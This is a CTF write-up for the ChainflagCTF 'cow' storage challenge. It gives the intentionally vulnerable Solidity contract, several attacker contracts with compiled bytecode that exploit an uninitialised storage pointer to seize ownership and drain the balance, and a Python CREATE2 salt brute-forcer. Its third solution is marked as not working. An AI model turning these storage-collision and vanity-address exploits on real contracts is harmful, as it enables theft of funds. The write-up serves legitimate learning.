11.storage @cow
2023-07-13 16:28:18 # 02.ChainflagCTF

storage(cow)

contract

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
pragma solidity ^0.4.2;
contract cow{
address public owner_1;
address public owner_2;
address public owner_3;
address public owner;
mapping(address => uint) public balance;

struct hacker {
address hackeraddress1;
address hackeraddress2;
}
hacker h;

constructor()public{
owner = msg.sender;
owner_1 = msg.sender;
owner_2 = msg.sender;
owner_3 = msg.sender;
}

event SendFlag(string b64email);


function payforflag(string b64email) public
{
require(msg.sender==owner_1);
require(msg.sender==owner_2);
require(msg.sender==owner_3);
owner.transfer(address(this).balance);
emit SendFlag(b64email);
}

function Cow() public payable
{
uint geteth=msg.value/1000000000000000000;
if (geteth==1)
{
owner_1=msg.sender;
}
}

function cov() public payable
{
uint geteth=msg.value/1000000000000000000;
if (geteth<1)
{
hacker fff=h;
fff.hackeraddress1=msg.sender;
}
else
{
fff.hackeraddress2=msg.sender;
}
}

function see() public payable
{
uint geteth=msg.value/1000000000000000000;
balance[msg.sender]+=geteth;
if (uint(msg.sender) & 0xffff == 0x525b)
{
balance[msg.sender] -= 0xb1b1;
}
}

function buy_own() public
{
require(balance[msg.sender]>1000000);
balance[msg.sender]=0;
owner_3=msg.sender;
}

}

analyses

solution 1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
// CREATE2 was added to Inline assembler in version 0.5.2

interface Icow{
function Cow()external payable;
function cov()external payable;
function see()external payable;
function buy_own()external;
function payforflag(string memory)external;
}

contract deployAttacker{
bytes attackCode = hex"608060405234801561000f575f80fd5b506105048061001d5f395ff3fe60806040526004361061002c575f3560e01c80634382e7961461002f578063d018db3e146100595761002d565b5b005b34801561003a575f80fd5b50610043610075565b60405161005091906103d3565b60405180910390f35b610073600480360381019061006e919061042b565b610098565b005b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ff2eff94670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b158015610144575f80fd5b505af1158015610156573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166396c50336670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b1580156101c8575f80fd5b505af11580156101da573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639ae5a2be6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610243575f80fd5b505af1158015610255573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ed6b8ff36040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156102bd575f80fd5b505af11580156102cf573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bc344bc6040518163ffffffff1660e01b8152600401610329906104b0565b5f604051808303815f87803b158015610340575f80fd5b505af1158015610352573d5f803e3d5ffd5b5050505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f61039b61039661039184610359565b610378565b610359565b9050919050565b5f6103ac82610381565b9050919050565b5f6103bd826103a2565b9050919050565b6103cd816103b3565b82525050565b5f6020820190506103e65f8301846103c4565b92915050565b5f80fd5b5f6103fa82610359565b9050919050565b61040a816103f0565b8114610414575f80fd5b50565b5f8135905061042581610401565b92915050565b5f602082840312156104405761043f6103ec565b5b5f61044d84828501610417565b91505092915050565b5f82825260208201905092915050565b7f7375636365737366756c6c7900000000000000000000000000000000000000005f82015250565b5f61049a600c83610456565b91506104a582610466565b602082019050919050565b5f6020820190508181035f8301526104c78161048e565b905091905056fea26469706673582212202c06fb75fa71e0d2a3e9a65775abb3b8da76e9a9caf57d1f38958f64af2b2dd664736f6c63430008140033";

function deploy(bytes32 salt) public returns(address){
bytes memory bytecode = attackCode;
address addr;
assembly {
addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt)
}
return addr;
}

function getHash()public view returns(bytes32){
return keccak256(attackCode);
}

}

contract AttackMan{
Icow public _cow;

function attack(address _addr) public payable {
_cow = Icow(_addr);
_cow.Cow{value:1 ether}(); // owner_1
_cow.cov{value:1 ether}(); // owner_2
_cow.see(); // owner_3
_cow.buy_own(); // owner_3
_cow.payforflag("successfully");
}

fallback() external payable {}
}

solution 2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
// CREATE2 was added to Inline assembler in version 0.5.2

interface Icow{
function Cow()external payable;
function cov()external payable;
function see()external payable;
function buy_own()external;
function payforflag(string memory)external;
}

contract AttackMan{
Icow public _cow;

constructor(address _addr) public payable {
_cow = Icow(_addr);
_cow.Cow{value:1 ether}(); // owner_1
_cow.cov{value:1 ether}(); // owner_2
_cow.see(); // owner_3
_cow.buy_own(); // owner_3
_cow.payforflag("successfully");
}

fallback() external payable {}
}

contract deployAttack{
bytes public attackCode = hex"608060405260405161051b38038061051b83398181016040528101906100259190610347565b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ff2eff94670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b1580156100d1575f80fd5b505af11580156100e3573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166396c50336670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b158015610155575f80fd5b505af1158015610167573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639ae5a2be6040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156101d0575f80fd5b505af11580156101e2573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ed6b8ff36040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561024a575f80fd5b505af115801561025c573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bc344bc6040518163ffffffff1660e01b81526004016102b6906103cc565b5f604051808303815f87803b1580156102cd575f80fd5b505af11580156102df573d5f803e3d5ffd5b50505050506103ea565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610316826102ed565b9050919050565b6103268161030c565b8114610330575f80fd5b50565b5f815190506103418161031d565b92915050565b5f6020828403121561035c5761035b6102e9565b5b5f61036984828501610333565b91505092915050565b5f82825260208201905092915050565b7f7375636365737366756c6c7900000000000000000000000000000000000000005f82015250565b5f6103b6600c83610372565b91506103c182610382565b602082019050919050565b5f6020820190508181035f8301526103e3816103aa565b9050919050565b610124806103f75f395ff3fe608060405260043610601e575f3560e01c80634382e79614602157601f565b5b005b348015602b575f80fd5b5060326046565b604051603d919060d7565b60405180910390f35b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f60a560a1609d846069565b6088565b6069565b9050919050565b5f60b4826091565b9050919050565b5f60c38260ac565b9050919050565b60d18160bb565b82525050565b5f60208201905060e85f83018460ca565b9291505056fea264697066735822122028aa20ef563791f8bcf46fe2a77305c5a34faed84db654744d52b270c03ad0d564736f6c63430008140033";
bytes32 public attackCodeHash = "";

// before attack, we should update the attackCode,
// because the parameters should be add behide the bytecode
function getHash(address _addr) public returns(bytes32){
attackCode = abi.encodePacked(attackCode,abi.encode(_addr));
attackCodeHash = keccak256(attackCode);
return attackCodeHash;
}

function attack(bytes32 _salt) public payable{
bytes memory bytecode = attackCode;
address addr;
assembly {
// deploy the contract with 2 Ether
addr := create2(2000000000000000000, add(bytecode, 0x20), mload(bytecode), _salt)
}
}
}

solution 3: not successful, TODO……how to use new(CREATE2)?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
//solution 3: not successful, TODO......how to use new(CREATE2)?
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

interface Icow{
function Cow()external payable;
function cov()external payable;
function see()external payable;
function buy_own()external;
function payforflag(string memory)external;
}

contract AttackMan{
Icow public _cow = Icow(0x6298e76001Fdd107735f040df8808864B8128722);

function attack(address _addr) public payable {
_cow = Icow(_addr);
_cow.Cow{value:1 ether}(); // owner_1
_cow.cov{value:1 ether}(); // owner_2
_cow.see(); // owner_3
_cow.buy_own(); // owner_3
_cow.payforflag("successfully");
}

fallback() external payable {}
}

contract deployAttack{
bytes public attackCode = hex"6080604052736298e76001fdd107735f040df8808864b81287225f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550348015610062575f80fd5b50610504806100705f395ff3fe60806040526004361061002c575f3560e01c80634382e7961461002f578063d018db3e146100595761002d565b5b005b34801561003a575f80fd5b50610043610075565b60405161005091906103d3565b60405180910390f35b610073600480360381019061006e919061042b565b610098565b005b5f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ff2eff94670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b158015610144575f80fd5b505af1158015610156573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166396c50336670de0b6b3a76400006040518263ffffffff1660e01b81526004015f604051808303818588803b1580156101c8575f80fd5b505af11580156101da573d5f803e3d5ffd5b50505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16639ae5a2be6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610243575f80fd5b505af1158015610255573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ed6b8ff36040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156102bd575f80fd5b505af11580156102cf573d5f803e3d5ffd5b505050505f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636bc344bc6040518163ffffffff1660e01b8152600401610329906104b0565b5f604051808303815f87803b158015610340575f80fd5b505af1158015610352573d5f803e3d5ffd5b5050505050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f819050919050565b5f61039b61039661039184610359565b610378565b610359565b9050919050565b5f6103ac82610381565b9050919050565b5f6103bd826103a2565b9050919050565b6103cd816103b3565b82525050565b5f6020820190506103e65f8301846103c4565b92915050565b5f80fd5b5f6103fa82610359565b9050919050565b61040a816103f0565b8114610414575f80fd5b50565b5f8135905061042581610401565b92915050565b5f602082840312156104405761043f6103ec565b5b5f61044d84828501610417565b91505092915050565b5f82825260208201905092915050565b7f7375636365737366756c6c7900000000000000000000000000000000000000005f82015250565b5f61049a600c83610456565b91506104a582610466565b602082019050919050565b5f6020820190508181035f8301526104c78161048e565b905091905056fea2646970667358221220e1d2efbe90c8e219de35c09dc2a463d1e09945a20a932d815526c1fc8bf7ac2a64736f6c63430008140033";
bytes32 public attackCodeHash = "";

function getHash(address _addr) public returns(bytes32){
// attackCode = abi.encodePacked(type(AttackMan).creationCode,abi.encode(_addr));
// attackCodeHash = keccak256(attackCode);
attackCodeHash = keccak256(type(AttackMan).creationCode);
return attackCodeHash;
}

function attack(bytes32 _salt) public payable returns(address){
AttackMan x = new AttackMan{salt:_salt}();
return address(x);
}
}

calculate salt:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
@staticmethod
def GetSpecialAddressByCreate2(DeployAddress: str, BytecodeHash: str, content: str, potision:int = 0) -> str:
'''
获得包含特定内容的地址,通过 create2。根据 create2原理写出来的
如果想让地址的某个位置是特定内容的值,

参数:
DeployAttackAddress (str): 部署合约地址
BytecodeHash (str): 待部署的合约的 bytecode的 hash 值
content: 包含的某个特定的值
position(可选):地址的某个位置是特定内容的值,默认是0,可手动调整,比如 content='ab',position=-2就是计算得到的地址的后两位是'ab',第position位是之后的

返回值:
str: 第一个是 salt值,第二个是地址

例子: BlockchainUtils.GetSpecialAddressByCreate2("406187E1b3366B5da3539D99C4E88E42FC60De50","da647010355608442b3eab68e7dcc6d5b836f2628d2366ff8ae853413a643965","5a54")
得到的地址包含 '5a54'
'''
try:
i = 0
start_time = time.time() # 获取当前时间戳

while (1):
current_time = time.time()
elapsed_time = current_time - start_time

if elapsed_time >= 10:
raise Exception("time out,maybe a wrong position")

salt = hex(i)[2:].rjust(64, '0')
s = '0xff' + DeployAddress + salt + BytecodeHash
hashed = Web3.keccak(hexstr=s)
address = ''.join(['%02x' % b for b in hashed])[24:]
if potision == 0 and content in address[potision:]:
logger.success(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2]\n[content] {content} \n[salt] 0x{salt} \n[position] [{potision}:{potision+len(content)}) \n[address] 0x{address}\n{'-' * 80}")
return "0x" + salt, "0x" + address
elif potision > 0 and content in address[potision:potision+len(content)]:
logger.success(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2]\n[content] {content} \n[salt] 0x{salt} \n[position] [{potision}:{potision+len(content)}) \n[address] 0x{address}\n{'-' * 80}")
return "0x" + salt, "0x" + address
elif potision < 0 and potision != -4 and content in address[potision:potision + len(content)]:
logger.success(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2]\n[content] {content} \n[salt] 0x{salt} \n[position] [{potision}:{potision + len(content)}) \n[address] 0x{address}\n{'-' * 80}")
return "0x" + salt, "0x" + address
elif potision == -4 and content in address[potision:]:
logger.success(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2]\n[content] {content} \n[salt] 0x{salt} \n[position] [{potision}:-1] \n[address] 0x{address} \n{'-' * 80}")
return "0x" + salt, "0x" + address
else:
pass
i += 1
except Exception:
ExceptionInformation = format_exc()
logger.error(
f"\n[BlockchainUtils][GetSpecialAddressByCreate2] Failed\n[content] {content}\n {ExceptionInformation}{'-'*80}"
)
return None
1
BlockchainUtils.GetSpecialAddressByCreate2('d8b934580fcE35a11B58C6D73aDeE468a2833fa8','05810939c4d8e77c7017e7d39d35a9daf5ae7ced61ab83230b39e90ea4b95123','525b',-4)

solve